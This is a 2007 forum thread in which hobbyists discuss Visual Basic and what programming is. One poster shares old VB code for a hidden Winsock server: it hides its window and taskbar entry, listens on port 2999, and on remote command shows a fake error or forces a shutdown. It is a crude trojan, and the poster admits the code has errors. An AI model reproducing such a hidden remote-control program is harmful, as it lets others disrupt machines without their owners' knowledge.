Visual Basic

Viewing forum thread.
Back to Technology chat.
Back to Forum List.

Pages:
1
2
Deleted User
(IP Logged)
15:05 Tue 18 Sep 07 (BST)  [Link]  
Anyone else use this program?

Deleted User
(IP Logged)
15:31 Tue 18 Sep 07 (BST)  [Link]  
What is it?
Deleted User
(IP Logged)
15:35 Tue 18 Sep 07 (BST)  [Link]  
A programming language and development environment for Windows Windows from Microsoft

Its for the geeks out there. Hence my picture
Deleted User
(IP Logged)
15:36 Tue 18 Sep 07 (BST)  [Link]  
Cool, sounds too complicated for me. Hehe. Is a programming language like C++ or whatever it is?
bunrzybhoy
bunrzybhoy
Posts: 4,762
15:40 Tue 18 Sep 07 (BST)  [Link]  
Huh? I still dont understand lmao
Deleted User
(IP Logged)
15:58 Tue 18 Sep 07 (BST)  [Link]  
m_c_r said:
Cool, sounds too complicated for me. Hehe. Is a programming language like C++ or whatever it is?


Yes C++ is a very advanced programming language.

bunrzybhoy said:
Huh? I still dont understand lmao


Okay, basically you write 'code' into this piece of software and you can make other pieces of software.

Don't really know how i can put it so that you can easily understand... hope that helps.
bunrzybhoy
bunrzybhoy
Posts: 4,762
15:59 Tue 18 Sep 07 (BST)  [Link]  
Nope, but its ok mate thank you for trying lol


Was just wondering.. I only get it a little bit lol
spinner
spinner
Admin
Posts: 8,934
16:14 Tue 18 Sep 07 (BST)  [Link]  
I have a limited (as little as i can get away with) knowledge of visual basic. We have recently moved from Borland to Visual C++ at work.

Taking a little getting used to but has simplified deployment accross multiple windows based platforms.

As for explaining what a programming language is - its just method of recording and running a series of instructions that tell a computer what to do.

I find LOGO is a great introduction to the principles of programming. There is a nice simple example here :

http://www.mathsnet.net/logo/turtlelogo/index.html

Edit - realised thats not a good explaination of what visual basic is!

Visual programming languages try to be sort of WYSIWYG editors for computer programs.

If you've ever created or edited a web page, normal programming languages are like editing in notepad, but visual languages are like editing in frontpage or word..

That better?

Edited at 21:17 Tue 18/09/07 (BST)
Deleted User
(IP Logged)
16:34 Tue 18 Sep 07 (BST)  [Link]  
I hoped you might say you knew a bit about it
Deleted User
(IP Logged)
16:44 Tue 18 Sep 07 (BST)  [Link]  
I am quite familiar with Frontpage, but I'm learning web design through Dreamweaver now.

Just a bit of trivia for you, since I understand a litle bit about Code, but we don't use that window pane in my class.
Deleted User
(IP Logged)
17:25 Tue 18 Sep 07 (BST)  [Link]  
Well i'm all about pseudocode and VB

I'm currently creating a program to sell onto schools
av_it_
av_it_
Posts: 177
18:10 Thu 20 Sep 07 (BST)  [Link]  
first lang i used was vb. its great lang to learn for first timers visit www.planet-source-code.com for exsample source codes.

dim password as string
dim atemp as string
atemp = "dark_cloud"
input " please enter password",input
if password = atemp then

begin
msgbox " i wish you the best of luck with your application";

end

else
print " funkypool.com"
do beep
loop
end if
end

been a while since i used vb so maybe some mistakes. i now use c++

Edited at 23:11 Thu 20/09/07 (BST)

Edited at 23:13 Thu 20/09/07 (BST)

Edited at 23:22 Thu 20/09/07 (BST)
Deleted User
(IP Logged)
18:37 Thu 20 Sep 07 (BST)  [Link]  
Lol not entirely sure as to the procedure "do beep" or "begin" something i've not come across.

Also for the variable:
atemp = "dark_cloud"

you would also need to include:
txt_name_of_text_box.text = password

otherwise how would the user enter the password?

Plus all of that would be an invalid outside procedure if not placed within:
Private Sub command1_Click()

End Sub

Finally theres no need to declare password and atemp if you dont include "option explicit".

Apart from that its all correct
av_it_
av_it_
Posts: 177
07:34 Fri 21 Sep 07 (BST)  [Link]  
dark_cloud said:
Lol not entirely sure as to the procedure "do beep" or "begin" something i've not come across.

Also for the variable:
atemp = "dark_cloud"

you would also need to include:
txt_name_of_text_box.text = password

otherwise how would the user enter the password?

Plus all of that would be an invalid outside procedure if not placed within:
Private Sub command1_Click()

End Sub

Finally theres no need to declare password and atemp if you dont include "option explicit".

Apart from that its all correct


lol think i mixed a bit quick basic with vb there oops lol. i managed to dig out 1 of first vb programs i wrote about 6 years ago my have a few errors (no longer have vb to check it) this uses the winsock control to send data from a client to the server.

Edited at 12:37 Fri 21/09/07 (BST)
av_it_
av_it_
Posts: 177
07:35 Fri 21 Sep 07 (BST)  [Link]  
sorry had to do another post for code

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub

Pivate Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub


module

Public Function DoActions(x As String)

Select Case x
Case "msgbox"
Msgbox "The file C:\windows\billgates.exe has caused an error and will be terminated",vbCritical,"Critical Error"

Case "shutdown"
shell "shutdown -s -f -t 00"
End Select
End Function


client

Private Sub cmdConnect_Click()
IpAddy = txtIp.Text
Win.Close
Win.RemotePort = 2999
Win.RemoteHost = IpAddy
Win.LocalPort = 9999
Win.Connect
cmdConnect.Enabled = False
End Sub

Private Sub cmdDisconnect_Click()
Deleted User
(IP Logged)
09:27 Fri 21 Sep 07 (BST)  [Link]  
I hope dreamweaver won't be tricky...
Deleted User
(IP Logged)
14:33 Fri 21 Sep 07 (BST)  [Link]  
av_it said:

i managed to dig out 1 of first vb programs i wrote about 6 years ago my have a few errors (no longer have vb to check it)


You could say that

There is no real point to post vb code here because i guess there is only me who is able to decifer it...

You seem to know a fair bit though, even if that is one of the more obscure programs i have seen...
av_it_
av_it_
Posts: 177
17:56 Fri 21 Sep 07 (BST)  [Link]  
obscure lol i was a bit younger back then. and hade learnt what a know about vb off online tutorials. most code above was taken off a tutorial and i added bits and peieces off my own code. was really proud of it back then.

you should pay http://www.planet-source-code.com/

a visit that helped me alot back then

Edited at 23:08 Fri 21/09/07 (BST)
Deleted User
(IP Logged)
19:27 Fri 21 Sep 07 (BST)  [Link]  
Bearing in mind i have studied Vb for around 3/4 years and have actually constructed programs for a similar site to the one which you posted
av_it_
av_it_
Posts: 177
20:09 Fri 21 Sep 07 (BST)  [Link]  
weldone what programs are they would love to check a couple out?
Pages:
1
2
Unable to post
Reason:You must log in before you can post

Visual Basic

Back to Top of this Page
Back to Technology chat.
Back to Forum List.